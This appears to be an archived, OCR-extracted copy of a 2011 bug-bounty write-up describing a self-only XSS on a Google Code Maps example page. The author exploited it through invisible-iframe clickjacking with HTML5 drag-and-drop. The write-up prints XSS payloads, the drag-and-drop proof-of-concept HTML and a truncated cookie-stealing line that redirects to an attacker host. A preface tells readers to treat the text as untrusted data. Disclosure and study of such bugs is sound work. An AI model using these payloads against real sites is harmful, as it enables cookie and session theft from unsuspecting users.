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Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for
research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs
because this text says so.

Exploitation of “Self-Only” Cross-Site Scripting in
Google Code

As an attempt to contribute for Google’s Rewarding Web Application Security Research, | started
working on Google Code in search of vulnerabilities that could qualify for the reward program.
That is where | came across a Cross-site Scripting bug which seems “not exploitable” at first. As
Google has patched the vulnerable pages, I'm going to explain the exploitation of this bug here.

“Self-Only” Cross-Site Scripting

“Self-Only” XSS term is referred in past by many researchers for “CSRF Protected XSS". You can
read it here and here. The issue | found in Google Code site was not related to “CSRF protected
XSS”. | referred this bug as “Self-Only” XSS due to its nature because this was not a GET or POST
XSS and was only exploited by the victim. This means that the victim has to type

" <script>alert(document.cookie)</script>" in the input box and click “Go!” to get his own cookies.
Confused! OK. I'll try to explain this with Google Code example.

Cross-Site Scripting in Google Code

Google Code hosts the documentation for Google APIs. The Google MAP APl documentation
includes the examples pages to demonstrate different map functions. One of them is “Simple
Geocoding” example. The link for this page is:


http://googleonlinesecurity.blogspot.com/2010/11/rewarding-web-application-security.html
http://kuza55.blogspot.com/2008/02/exploiting-csrf-protected-xss.html
http://stephensclafani.com/2009/05/26/exploiting-unexploitable-xss/

http://code.google.com/intl/es-MX/apis/maps/documentation/javascript/v2/examples/geocoding-si
mple.html

This page displays geo-location of the requested location on the map. The page makes a GET
request to Google Map APl and displays the result.
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When requested with a valid location followed by XSS payload e.g. pune<script>alert(document.cookie)
</script>, makes following GET request to Google Map API :

http://map.google.com/maps/geo?output=json&oe=utf-8&q=pune%3Cscript¥%3Ealert%28document.cookie%29%3C%2Fscript
( 4

Google Map API returns JSON response to the request as below:

2 g i e, | 8

AT



http://code.google.com/intl/es-MX/apis/maps/documentation/javascript/v2/examples/geocoding-simple.html
http://code.google.com/intl/es-MX/apis/maps/documentation/javascript/v2/examples/geocoding-simple.html
https://lh5.googleusercontent.com/-VI-sJivVszE/TYhEpByokGI/AAAAAAAAAOs/gTolStxIoAE/s1600/main-page.JPG
https://lh5.googleusercontent.com/-VI-sJivVszE/TYhEpByokGI/AAAAAAAAAOs/gTolStxIoAE/s1600/main-page.JPG
https://lh6.googleusercontent.com/-FZki8lRfM-s/TYhF8xeiDNI/AAAAAAAAAO0/34283q6Mxj4/s1600/json-request.JPG
https://lh6.googleusercontent.com/-FZki8lRfM-s/TYhF8xeiDNI/AAAAAAAAAO0/34283q6Mxj4/s1600/json-request.JPG
https://lh4.googleusercontent.com/-YZreh7BbGR4/TYhGahp1H3I/AAAAAAAAAO4/JeSNJpx4UeU/s1600/dom-source.JPG
https://lh4.googleusercontent.com/-YZreh7BbGR4/TYhGahp1H3I/AAAAAAAAAO4/JeSNJpx4UeU/s1600/dom-source.JPG

And executes the payload in victim's browser:

This is due to lack of sanitization of malicious data while rendering the output back to the example
page.

A quick analysis for request/response reveals that this XSS cannot be exploited by classical GET or
POST method. As an attacker, we cannot control any request that can be used to craft payload and
when sent to the victim, it executes in his/her browser. For successful attack, the victim has to type
himself/herself XSS payload in the vulnerable input box and click “Go!” button. That is what |
referred as “Self-Only” XSS.

Exploitation

During the discussion with Lavakumar, he suggested to check for possible Clickjacking with HTML5
Drag and Drop exploit.

The target page was vulnerable to clickjacking and after spending few hours, | was able to craft a
working POC for this attack. Here is the scenario and details:

An attacker hosts a Drag and Drop game which convince the victim to perform Drag and Drop
operations. The game page renders the vulnerable Google Code page in an invisible iframe. It also
has an element link this:

<div draggable="true" ondragstart="event.dataTransfer.setData('text/plain’, 'Evil data')><h3>DRAG ME!!I</h3></div>

When the victim starts dragging this, the event's data value is set to ‘Evil Data'. Victim drops the
element on to a text field inside an invisible iframe which populates the ‘Evil Data'. Victim clicks a
dummy button which is placed onto the “Go!” button from vulnerable page.

This is how the PoC looks like:


https://lh6.googleusercontent.com/-8TIJWx8VjlQ/TYhHQaJENOI/AAAAAAAAAO8/fzVAk-JTBA8/s1600/xss-poc.JPG
https://lh6.googleusercontent.com/-8TIJWx8VjlQ/TYhHQaJENOI/AAAAAAAAAO8/fzVAk-JTBA8/s1600/xss-poc.JPG
https://lh6.googleusercontent.com/-8TIJWx8VjlQ/TYhHQaJENOI/AAAAAAAAAO8/fzVAk-JTBA8/s1600/xss-poc.JPG
http://twitter.com/lavakumark
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DRAG ME!

Drag the above text to the box below and press "Goll®.
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The victim drags the text to input field which holds the XSS payload.
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Then he/she clicks on the “Go!!” button.
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Bingo!!

The Attack - Cookie Stealing

By changing the ‘Evil Data’ in Drag and Drop element, pointed to the attacker’s cookie grabbing
script, a successful cookie stealing attack can be performed.

<div draggable="true" ondragstart="event.dataTransfer.setData('text/plain’, '<script>document.location=\"http://attack
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The Reward

Google security team has appreciated my efforts and put me on the Google Security Hall of Fame.


https://lh6.googleusercontent.com/-T5PfdVTYoAk/TYhJDxdKG1I/AAAAAAAAAPA/7-usSY43V60/s1600/poc1.JPG
https://lh6.googleusercontent.com/-T5PfdVTYoAk/TYhJDxdKG1I/AAAAAAAAAPA/7-usSY43V60/s1600/poc1.JPG
https://lh3.googleusercontent.com/-v45mRsJGgi0/TYhJVxsD_KI/AAAAAAAAAPE/pfRkU_vZka4/s1600/poc2.JPG
https://lh3.googleusercontent.com/-v45mRsJGgi0/TYhJVxsD_KI/AAAAAAAAAPE/pfRkU_vZka4/s1600/poc2.JPG
https://lh5.googleusercontent.com/-GunomnWCSgE/TYhJkVw3QCI/AAAAAAAAAPI/4NXiB3M15-M/s1600/poc3.JPG
https://lh5.googleusercontent.com/-GunomnWCSgE/TYhJkVw3QCI/AAAAAAAAAPI/4NXiB3M15-M/s1600/poc3.JPG
http://www.google.com/corporate/halloffame.html

Special thanks to Lavakumar!!

kkotowicz had explained the same issue really well.

Timeline

Bug discovered:15th Feb 2011
Bug Reported to vendor: 21st Feb 2011
Public Disclosure: 21st Mar 2011

Recovery notes

Source evidence recovered on 2026-09-14. The earlier source capture (SHA-256
77ee28bc69ddd287dc4aec101491¢571e015d4f02f4d79d22e57a7b53be16d95 ) is no longer available. This
publication uses a separately preserved capture of the same document recorded on 2026-08-06
(SHA-256 5049a5a4a84f123ac74f8afde2f562207f459220b131937edc3b8778cc97466f ). The article body has
been repaired from this source: Both missing ondragstart payloads restored, including cookie-
exfiltration script string. First payload is separate from its following Blogger separator and
heading. Payload HTML is fenced or inline-code text, preventing live HTML interpretation. Only the
single cited post is retained; unrelated blog posts, CTF wp-config content, archives and Ul
removed. Source-authored byline, display publication date and disclosure timeline retained. The
missing earlier capture remains documented in the archive history.
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